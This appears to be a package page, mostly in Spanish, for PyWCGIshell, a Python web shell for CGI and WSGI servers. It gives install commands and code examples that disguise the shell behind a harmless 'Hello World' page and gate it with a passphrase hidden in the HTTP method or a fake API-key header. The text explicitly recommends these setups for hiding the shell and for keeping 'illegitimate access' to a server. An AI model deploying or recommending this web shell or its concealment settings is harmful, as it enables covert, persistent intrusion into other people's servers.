PyWCGIshell
1.0.0
Este paquete implementa una red web para el servidor CGI y WSGI.
Con este WebShell puede:
Este paquete requiere:
pip install PyWCGIshell(La línea de comandos es útil para probar el webshell)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode from PyWCGIshell import WebShell
def my_default_cgi_page ():
print ( "Content-type:text/plain; charset=utf-8" )
print ( "" )
print ( "Hello World !" )
webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run () from PyWCGIshell import WebShell
def my_default_wsgi_page ( environ , start_response ):
status = '200 OK'
headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
start_response ( status , headers )
return [ b"Hello World !" ]
webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run () No recomiendo usar method como pass_type para ocultar su WebShell.
Puede usar una configuración similar para ocultar su webshell.
from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . runPara usar este webshell:
Instale y configure Pywcgishell en WebScripts para mantener su acceso ilegítimo y ocultarlo (el repositorio está aquí).
WebShell en WebScripts - YouTube
Licenciado bajo el GPL, versión 3.